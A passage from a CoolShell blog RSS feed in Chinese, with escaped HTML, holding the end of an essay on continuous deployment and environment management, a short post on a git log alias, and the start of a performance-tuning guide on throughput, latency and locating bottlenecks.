Level），它并未与具体的基础设施相关联。当我们将一个环境“具现化”成一个运行系统时，我们就产生了一个真正的环境实例。在这两者之间，我们还必须要考虑环境实例的使用目的（开发？测试？……）以及安装所依赖的其它信息（如机器），因此，我们需要增加一个环境目标来集中这些信息，而且由于不同目标的环境可能会有所差别，因此，环境目标也需要配置的能力。概念模型如图：</p>\n<p><a href=\"https://coolshell.cn/?attachment_id=7731\" rel=\"attachment wp-att-7731\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-7731 aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/target.jpg\" alt=\"\" width=\"523\" height=\"438\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/06/target.jpg 523w, https://coolshell.cn/wp-content/uploads/2012/06/target-300x251.jpg 300w\" sizes=\"(max-width: 523px) 100vw, 523px\" /></a></p>\n<p>图中的环境实例是如何产生的呢？<strong>部署</strong>，<strong>一次部署可能会产生一个环境实例。</strong>一系列部署将产生对应于环境目标的多个环境实例，除去当前起作用的环境实例外（最新的），其它的是历史环境实例。<strong>通过在历史环境实例中切换，我们自然而然的就可以使整个环境回滚，因为项目所依赖的一切都已经成为的环境中的软件包，而且环境依赖的包的版本会随着部署具体确定下来。</strong>如此一来，我们便可以给每个环境实例分配一个版本号，再通过环境实例的版本号与软件包的版本对应起来，从而得知一次部署时应用的具体软件包，如图：</p>\n<p><a href=\"https://coolshell.cn/?attachment_id=7732\" rel=\"attachment wp-att-7732\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone  wp-image-7732 aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/version.jpg\" alt=\"\" width=\"669\" height=\"394\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/06/version.jpg 743w, https://coolshell.cn/wp-content/uploads/2012/06/version-300x176.jpg 300w\" sizes=\"(max-width: 669px) 100vw, 669px\" /></a></p>\n<p>目前的环境管理结构，已经可以解决场景1、2和5的问题。那<strong>么对于场景2，运行时依赖，环境管理应该如何解决呢？</strong></p>\n<p>细心的朋友，可能已经发现，<strong>在环境层面上我们确定了环境依赖的软件包</strong>，这里有两个隐藏的含义：</p>\n<ul>\n<li>环境定义的是对软件包的运行时依赖</li>\n<li>由于环境是一个逻辑上的概念，因此其所用的软件包也是一个逻辑上的概念（相对于版本控制系统中的软件包）</li>\n</ul>\n<p>我们也已经知道，在部署时，一个环境实例将具体的确定其依赖的软件包的版本。某个版本的软件包最终与代码库中的物理的软件包相关联。但软件包是运行时的安装包，因此，它应该是代码库中包编译的结果。在对代码库的包编译时，既要将结果打上版本保存起来，也好在两者的版本间建立关系，最后，编译结果应该是某种既定的安装包目录文件结构。</p>\n<p>另外，当环境包含的包比较多时，运行时版本树会非常大，手动的指定全部的包的版本将是一个非常大的体力劳动，这部分工作也要得到简化。由此，我们必须</p>\n<div>\n<ul>\n<li><strong>建立逻辑软件包版本和版本库中软件包版本间的关系</strong></li>\n<li><strong><strong>为相互依赖的包编译并打上统一的标签</strong></strong></li>\n<li><strong>简化运行时包依赖关系的生产</strong></li>\n<li><strong>简化运行时包依赖的指定（可参考apt-get和RubyGem，环境只需指定直接依赖的包，间接依赖的包从运行时依赖树中自动导入）</strong></li>\n</ul>\n<div>一个可能的简单结构如下：</div>\n<p><a href=\"https://coolshell.cn/?attachment_id=7736\" rel=\"attachment wp-att-7736\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-7736 aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/pkg1.jpg\" alt=\"\" width=\"783\" height=\"195\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/06/pkg1.jpg 783w, https://coolshell.cn/wp-content/uploads/2012/06/pkg1-300x74.jpg 300w\" sizes=\"(max-width: 783px) 100vw, 783px\" /></a></p>\n<p>上述讨论还没有涉及操作系统，<strong>如果我们的运行机器要支持多个系统，我们又该怎么办？？？</strong></p>\n<p>配置信息也是个大问题，大家可以思考</p>\n<ul>\n<li><strong>环境配置和应用配置如何区分？</strong></li>\n<li><strong>如何简化环境配置工作？</strong></li>\n<li><strong>如何使环境配置的效果只对具体环境有效，而不会泄露到环境外部？</strong></li>\n</ul>\n</div>\n<p>再者，</p>\n<ul>\n<li><strong>如何使应用支持多运行目标？</strong></li>\n<li><strong>环境管理如何能方便开发环境的调试？</strong></li>\n<li><strong>要如何简化版本的选择?</strong></li>\n<li><strong><strong>在多个包有编译和运行时依赖时，编译时如何检查以减少引入兼容性问题的风险？</strong></strong></li>\n</ul>\n<p>这些都留待大家思考。</p>\n<h4>四、督脉——部署系统</h4>\n<p>《持续集成》和《持续交付》中都对部署有详细的讨论，不在赘述。<strong>在我看来，部署其就是按照其目的执行一系列步骤将环境置于其目的所指向的状态中</strong>。我们一会再回国头来看这段文绉绉的话，先看看第一部分持续集成的环境下，我们部署的步骤可能会是下面这个样子：</p>\n<ol>\n<li>登陆目标机（ssh）</li>\n<li>停止服务</li>\n<li>清理环境</li>\n<li>准备安装环境（创建文件夹等）</li>\n<li>安装项目包（rsync，解压，权限设置等）</li>\n<li>配置环境变量</li>\n<li>启动服务</li>\n<li>&#8230;&#8230;</li>\n</ol>\n<p>而在第二部分的<strong>情景4</strong>中，我们看到如果对不同的持续集成环境建立不同的部署脚本和环境维护脚本，这部署过程的维护会非常繁琐。基于第三部分的环境管理，我们可以将部署过程抽象为：</p>\n<p><a href=\"https://coolshell.cn/?attachment_id=7737\" rel=\"attachment wp-att-7737\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-7737 aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/deploy.jpg\" alt=\"\" width=\"566\" height=\"351\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/06/deploy.jpg 566w, https://coolshell.cn/wp-content/uploads/2012/06/deploy-300x186.jpg 300w\" sizes=\"(max-width: 566px) 100vw, 566px\" /></a></p>\n<p>现在回到开头那个文绉绉的描述：<strong>部署其就是按照其目的执行一系列步骤将环境置于其目的所指向的状态中</strong>。</p>\n<p>由于我们已经将部署作为环境管理的一部分，而环境又是对外提供服务的最小实体，因此，对环境的部署就是要根据部署的类型，在环境上按一定的步骤执行一系列操作，从而使环境置于部署类型所要的状态，这个过程中可能会生成对应的环境实例。举例来说，我们可能会修改环境相关的一些配置，然后重启环境，显然，这种情况下不需要下载安装软件包（没有改变），因此也就不需要生成环境实例。</p>\n<p>对于标准的部署——安装软件包并启动环境，可能的步骤将会是：</p>\n<ol>\n<li>选择将要部署的软件包的版本</li>\n<li>生成新的环境实例（确定环境实例的版本和其依赖包的版本，确定环境配置等）</li>\n<li>清理和准备目标机环境</li>\n<li>下载包</li>\n<li>设置环境配置</li>\n<li>环境实例切换</li>\n<li>生成部署报告</li>\n<li>……</li>\n</ol>\n<p>好，部署系统和环境管理各就各位，我们可以将各个项目环境纳入我们的环境管理之中，甚至是持续集成环境本身。再补充一句，要让部署系统和环境管理能很好的发挥作用，我们即需要一个简单一致的UI界面（为开发人员），也需要提供一个清晰明了的服务接口（供外部系统调用，如持续部署系统）。<strong>对于与环境管理相关的机器状态管理，网络资源的配置等等，本文不再涉及，大家可以自己思考</strong>。环境管理的实现、编译系统改造以及持续部署的具体实现，另作文章探讨。</p>\n<p>就技术而言（不考虑围绕持续部署的过程实践），环境管理、部署系统以及我们没有提及的编译系统改造才是生产线的真正引擎，持续部署不过是水到渠成的传送带而已。</p>\n<h4>五、没完</h4>\n<p>打通了任督二脉后，事还还没有完，还有很多细节上的问题。你想，这个工具实在是太好用了，于是公司里成百上千的工程师们都在使用这个自动化部署系统，我们又会面对很多很多问题：</p>\n<ul>\n<li><strong>部署系统的性能问题</strong>。几百号人不停地在把他们的软件部署到自己的机器上，部署到测试环境，部署到生产环境，一天之内一个人可能会要部署N次，回滚N次，不但有大量部署请求，还有大量的文件在网络上传输。你得想想这套部署系统如何解决这些性能问题，还得考虑未来更大规模的性能水平扩展问题。</li>\n</ul>\n<ul>\n<li><strong>目标机环境的管理。</strong>在目标运行机上需要解决几个问题：1）两个环境间如果有一些的一样的包，那就没有必要再下载了，这样可以节约时间。2）每次部署都需要把老的部署环境给保留下来，这样方便在新旧环境下的切换。这两点对于在生产环境下部署非常关键。（这需要环境内所有软件的绿色安装才能更容易达到这个目标，因些，Unix/Linux会比Windows更容易做到这点）</li>\n</ul>\n<ul>\n<li><strong>部署一致性事务问题</strong>。有时候，我们需要同时部署若干台服务器，比如：包A到机器MA，包B到机器MB，包C到机器MC，……（Web Service的SOA架构），这些包之间有运行依赖性和兼容性问题，要么一次性全部完成，要么就全部失败。回滚也是一样的，这是一个部署事务或部署一致性的问题。如何解决呢？</li>\n</ul>\n<ul>\n<li><strong>部署环境的版本控制问题</strong>。前面说过，我们的一个环境就会和若干个包的版本耦合，环境必需管理要部署的包的版本。于是，当你的部署越来越多的时候，各个环境的包的版本开始出现混乱，各种依赖间的版本也会出现不统一的情况，也就是说，就算你有这样的一个工具，在一个高速开发的环境下，我们的部署环境的管理还是会出现很多混乱的情况，需要你不断地统一大家的开发、测试环境。</li>\n</ul>\n<ul>\n<li><strong>部署计划</strong>。我们可能会有很多部署计划，比如：设定定时部署，提升或降低部署优先级，部署事务定义，部署策略（如：先部署10%的机器，如果没有问题，再把剩下的系统部署了），热切计划和策略…… 等等 ，等等 。</li>\n</ul>\n<ul>\n<li><strong>部署的监控和维护</strong>。任何软件和系统都会有这样的问题，当规模上去了以后，我们的自动化部署系统的监控和维护的复杂度并不亚于一个大型的互联网应用。</li>\n</ul>\n<div>这样的问题会有很多，基本上来说，<strong>这样一个持续集成持续部署的自动化系统并不是那么简单的事，其开发工作量和一个标准的大型互联网业务系统没什么两样</strong>。</div>\n<h4>六、总结</h4>\n<p>这里只谈一点自己的看法，从传统的持续集成到面向大型软件的持续部署，我们将系统所依赖的软件环境和软件包抽象为一致的实体纳入到管理之中，并将运维人员的工作真正的分摊到开发人员身上。而云计算的出现，使得计算机本身也可以自动化的创建和回收，这样环境管理的范畴将进一步扩充。相应的，部署的能力和灵活性也是一次质的飞跃，将再一次减轻运维人员的工作压力。</p>\n<p>说了这么多废话，总结一下自己的观点，对于向大型软件企业推销基于持续集成的持续部署（交付）的哥们：</p>\n<ul>\n<li><strong>你就是在耍流氓</strong>，如果你不解决环境管理！！！</li>\n<li><strong>你就是在耍流氓</strong>，如果你不建立部署系统！！！</li>\n<li><strong>你就是在耍流氓</strong>，如果你不扩展编译系统！！！</li>\n<li><strong>你就是在耍流氓</strong>，如果你只是推销小团队的实践而不考虑改造大环境！！！</li>\n<li><strong>你就是个流氓</strong>，如果你只是不断地告诉别人怎么做，自己却从来不动手写一个测试或建立一个持续集成环境！！！</li>\n</ul>\n<p>最后，用Linus最经典的话来结束本文——“ Talk is Cheap, Show me the Code！”</p>\n<p>（<strong>注：本文由<a href=\"http://weibo.com/renfake\" target=\"_blank\">@常新居士</a>完成初稿，我做了一些编辑，主要写了第五节“没完”</strong> ）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/09/fight-150x150.jpg\" alt=\"“单元测试要做多细？”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_title\">“单元测试要做多细？”</a></li><li ><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"Test-Driven Development？别逗了\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_title\">Test-Driven Development？别逗了</a></li><li ><a href=\"https://coolshell.cn/articles/5625.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" alt=\"“品质在于构建过程”吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5625.html\" class=\"wp_rp_title\">“品质在于构建过程”吗？</a></li><li ><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"在新浪微博上关于敏捷的一些讨论\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_title\">在新浪微博上关于敏捷的一些讨论</a></li><li ><a href=\"https://coolshell.cn/articles/5044.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/hat-150x150.jpeg\" alt=\"为什么Scrum不行？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5044.html\" class=\"wp_rp_title\">为什么Scrum不行？</a></li><li ><a href=\"https://coolshell.cn/articles/4891.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"Bob大叔和Jim Coplien对TDD的论战\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4891.html\" class=\"wp_rp_title\">Bob大叔和Jim Coplien对TDD的论战</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7657.html\">持续部署，并不简单！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7657.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>48</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Git显示漂亮日志的小技巧</title>\n\t\t<link>https://coolshell.cn/articles/7755.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7755.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 24 Jun 2012 15:29:05 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Git]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[verison control]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7755</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>原文：http://garmoncheg.blogspot.com/2012/06/pretty-git-log.html （墙） Git的传统log如下所示，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7755.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7755.html\">Git显示漂亮日志的小技巧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>原文：<a href=\"http://garmoncheg.blogspot.com/2012/06/pretty-git-log.html\" target=\"_blank\">http://garmoncheg.blogspot.com/2012/06/pretty-git-log.html</a> （墙）</p>\n<p>Git的传统log如下所示，你喜欢吗？</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-7758 aligncenter\" title=\"默认的Git的log\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/git.log_.01.png\" alt=\"\" width=\"578\" height=\"321\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/06/git.log_.01.png 578w, https://coolshell.cn/wp-content/uploads/2012/06/git.log_.01-300x167.png 300w, https://coolshell.cn/wp-content/uploads/2012/06/git.log_.01-360x200.png 360w, https://coolshell.cn/wp-content/uploads/2012/06/git.log_.01-486x270.png 486w\" sizes=\"(max-width: 578px) 100vw, 578px\" /></p>\n<p style=\"text-align: left;\">看看下面这个你喜不喜欢？（点击图片看大图）</p>\n<p style=\"text-align: left;\"><span id=\"more-7755\"></span></p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/06/git.log_.02.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-7759\" title=\"改进版的Git的日志\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/git.log_.02.png\" alt=\"\" width=\"620\" height=\"280\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/06/git.log_.02.png 1034w, https://coolshell.cn/wp-content/uploads/2012/06/git.log_.02-300x135.png 300w, https://coolshell.cn/wp-content/uploads/2012/06/git.log_.02-1024x461.png 1024w\" sizes=\"(max-width: 620px) 100vw, 620px\" /></a></p>\n<p style=\"text-align: left;\">要做到这样，命令行如下：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">git log --graph --pretty=format:&#039;%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)&lt;%an&gt;%Creset&#039; --abbrev-commit --</code></p>\n<p>这样有点长了，我们可以这样：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">git config --global alias.lg &quot;log --color --graph --pretty=format:&#039;%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)&lt;%an&gt;%Creset&#039; --abbrev-commit --&quot;</code></p>\n<p>然后，我们就可以使用这样的短命令了：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">git lg</code></p>\n<p>如果你想看看git log &#8211;pretty=format的参数，你可以看看<a href=\"http://git-scm.com/book/zh/Git-%E5%9F%BA%E7%A1%80-%E6%9F%A5%E7%9C%8B%E6%8F%90%E4%BA%A4%E5%8E%86%E5%8F%B2\" target=\"_blank\">这篇文章</a>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3288.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/11/scmhistory-150x150.png\" alt=\"版本管理器的发展史\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3288.html\" class=\"wp_rp_title\">版本管理器的发展史</a></li><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7755.html\">Git显示漂亮日志的小技巧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7755.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>31</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>性能调优攻略</title>\n\t\t<link>https://coolshell.cn/articles/7490.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7490.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 20 Jun 2012 01:24:53 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[Windows]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[数据库]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[系统架构]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[MySQL]]></category>\n\t\t<category><![CDATA[Performance]]></category>\n\t\t<category><![CDATA[SQL]]></category>\n\t\t<category><![CDATA[TCP]]></category>\n\t\t<category><![CDATA[UDP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7490</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>关于性能优化这是一个比较大的话题，在《由12306.cn谈谈网站性能技术》中我从业务和设计上说过一些可用的技术以及那些技术的优缺点，今天，想从一些技术细节上谈谈...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7490.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-7641\" title=\"Performance Tuning\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-300x216.jpg\" alt=\"\" width=\"300\" height=\"216\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-300x216.jpg 300w, https://coolshell.cn/wp-content/uploads/2012/06/f1.jpg 350w\" sizes=\"(max-width: 300px) 100vw, 300px\" />关于性能优化这是一个比较大的话题，在《<a title=\"由12306.cn谈谈网站性能技术\" href=\"https://coolshell.cn/articles/6470.html\" target=\"_blank\">由12306.cn谈谈网站性能技术</a>》中我从业务和设计上说过一些可用的技术以及那些技术的优缺点，今天，想从一些技术细节上谈谈性能优化，主要是一些代码级别的技术和方法。<strong>本文的东西是我的一些经验和知识，并不一定全对，希望大家指正和补充</strong>。</p>\n<p>在开始这篇文章之前，大家可以移步去看一下酷壳以前发表的《<a title=\"代码优化概要\" href=\"https://coolshell.cn/articles/2967.html\" target=\"_blank\">代码优化概要</a>》，这篇文章基本上告诉你——<strong>要进行优化，先得找到性能瓶颈</strong>！ 但是在讲如何定位系统性能瓶劲之前，请让我讲一下系统性能的定义和测试，因为没有这两件事，后面的定位和优化无从谈起。</p>\n<h4>一、系统性能定义</h4>\n<p>让我们先来说说如何什么是系统性能。这个定义非常关键，如果我们不清楚什么是系统性能，那么我们将无法定位之。我见过很多朋友会觉得这很容易，但是仔细一问，其实他们并没有一个比较系统的方法，所以，在这里我想告诉大家如何系统地来定位性能。 总体来说，系统性能就是两个事：</p>\n<ol>\n<li><strong>Throughput</strong> ，吞吐量。也就是每秒钟可以处理的请求数，任务数。</li>\n<li><strong>Latency</strong>， 系统延迟。也就是系统在处理一个请求或一个任务时的延迟。</li>\n</ol>\n<p>一般来说，一个系统的性能受到这两个条件的约束，缺一不可。比如，我的系统可以顶得住一百万的并发，但是系统的延迟是2分钟以上，那么，这个一百万的负载毫无意义。系统延迟很短，但是吞吐量很低，同样没有意义。所以，一个好的系统的性能测试必然受到这两个条件的同时作用。 有经验的朋友一定知道，这两个东西的一些关系：</p>\n<ul>\n<li><strong>Throughput越大，Latency会越差。</strong>因为请求量过大，系统太繁忙，所以响应速度自然会低。</li>\n<li><strong>Latency越好，能支持的Throughput就会越高。</strong>因为Latency短说明处理速度快，于是就可以处理更多的请求。</li>\n</ul>\n<h4>二、系统性能测试</h4>\n<p>经过上述的说明，我们知道要测试系统的性能，需要我们收集系统的Throughput和Latency这两个值。</p>\n<p><span id=\"more-7490\"></span></p>\n<ul>\n<li>首先，<strong>需要定义Latency这个值</strong>，比如说，对于网站系统响应时间必需是5秒以内（对于某些实时系统可能需要定义的更短，比如5ms以内，这个更根据不同的业务来定义）</li>\n</ul>\n<ul>\n<li>其次，<strong>开发性能测试工具</strong>，一个工具用来制造高强度的Throughput，另一个工具用来测量Latency。对于第一个工具，你可以参考一下“<a title=\"十个免费的Web压力测试工具\" href=\"https://coolshell.cn/articles/2589.html\" target=\"_blank\">十个免费的Web压力测试工具</a>”，关于如何测量Latency，你可以在代码中测量，但是这样会影响程序的执行，而且只能测试到程序内部的Latency，真正的Latency是整个系统都算上，包括操作系统和网络的延时，你可以使用Wireshark来抓网络包来测量。这两个工具具体怎么做，这个还请大家自己思考去了。</li>\n</ul>\n<ul>\n<li>最后，<strong>开始性能测试</strong>。你需要不断地提升测试的Throughput，然后观察系统的负载情况，如果系统顶得住，那就观察Latency的值。这样，你就可以找到系统的最大负载，并且你可以知道系统的响应延时是多少。</li>\n</ul>\n<p>再多说一些，</p>\n<ul>\n<li>关于Latency，如果吞吐量很少，这个值估计会非常稳定，当吞吐量越来越大时，系统的Latency会出现非常剧烈的抖动，所以，我们在测量Latency的时候，我们需要注意到Latency的分布，也就是说，有百分之几的在我们允许的范围，有百分之几的超出了，有百分之几的完全不可接受。也许，平均下来的Latency达标了，但是其中仅有50%的达到了我们可接受的范围。那也没有意义。</li>\n</ul>\n<ul>\n<li>关于性能测试，我们还需要定义一个时间段。比如：在某个吞吐量上持续15分钟。因为当负载到达的时候，系统会变得不稳定，当过了一两分钟后，系统才会稳定。另外，也有可能是，你的系统在这个负载下前几分钟还表现正常，然后就不稳定了，甚至垮了。所以，需要这么一段时间。这个值，我们叫做峰值极限。</li>\n</ul>\n<ul>\n<li>性能测试还需要做Soak Test，也就是在某个吞吐量下，系统可以持续跑一周甚至更长。这个值，我们叫做系统的正常运行的负载极限。</li>\n</ul>\n<p>性能测试有很多很复要的东西，比如：burst test等。 这里不能一一详述，这里只说了一些和性能调优相关的东西。总之，性能测试是一细活和累活。</p>\n<h4>三、定位性能瓶颈</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-7640\" title=\"bottleneck\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/bottleneck.jpg\" alt=\"\" width=\"200\" height=\"200\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/06/bottleneck.jpg 200w, https://coolshell.cn/wp-content/uploads/2012/06/bottleneck-150x150.jpg 150w\" sizes=\"(max-width: 200px) 100vw, 200px\" />有了上面的铺垫，我们就可以测试到到系统的性能了，再调优之前，我们先来说说如何找到性能的瓶颈。我见过很多朋友会觉得这很容易，但是仔细一问，其实他们并没有一个比较系统的方法。</p>\n<h5>3.1）查看操作系统负载</h5>\n<p>首先，当我们系统有问题的时候，我们不要急于去调查我们代码，这个毫无意义。我们首要需要看的是操作系统的报告。看看操作系统的CPU利用率，看看内存使用率，看看操作系统的IO，还有网络的IO，网络链接数，等等。Windows下的perfmon是一个很不错的工具，Linux下也有很多相关的命令和工具，比如：<a href=\"http://sourceware.org/systemtap/\" 